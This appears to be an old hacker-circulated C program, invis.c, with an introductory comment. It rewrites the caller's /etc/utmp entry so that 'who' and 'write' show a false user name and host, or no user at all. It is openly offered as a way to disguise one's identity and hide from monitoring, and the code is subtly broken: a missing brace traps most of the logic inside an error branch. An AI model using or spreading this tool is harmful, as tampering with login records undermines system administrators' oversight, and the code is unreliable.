/*

I 'found' this little C program a few days ago, and runs on most UNIX
machines I think (As I found it, I cant claim fame for writing it!).

What it does, is change your userid and x25 address to anything of your
choice. This only affects programs such as 'write' and 'who'. It doesn't
automatically give you different access rights, so it can only be used
to disguise your real identity.

Usage
-----

   inv god somewhere (Changes your uid to 'god' and X.25 to 'somewhere')
   inv ''  ''        (Makes you INVISIBLE on 'who')

Program invis.c
---------------
*/

#include <stdio.h>
#include <utmp.h>
#include <sys/types.h>

#include <lastlog.h>

main(argc,argv)
int argc;
char *argv[];
{
 FILE *f;
 struct utmp u;

 int v=ttyslot(1);
 if(v==-1)
 {
  fprintf(stderr,"Can't find terminal.\n");
  exit(1);

 if(argc!=3)
 {
  fprintf(stderr,"Args!\n");
  exit(1);
 }
 f=fopen("/etc/utmp","r+");
 if(f==NULL)
 {
  fprintf(stderr,"Utmp has escaped!\n");
  exit(1);
 }
 if(fseek(f,v*sizeof(u),0)==-1)
 {
  fprintf(stderr,"Garbage utmp\n");
  exit(1);
 }
 if(fread((char *)&u,sizeof(u),1,f)!=1)
 {
  fprintf(stderr,"Write failed\n");
  exit(1);
 }

 strncpy(u.ut_name,argv[1],8);
 strncpy(u.ut_host,argv[2],16);
 if(fseek(f,v*sizeof(u),0)==-1)
 {
  fprintf(stderr,"Seek failed\n");
  exit(1);
 }
 fwrite((char *)&u,sizeof(u),1,f);
 fclose(f);
}
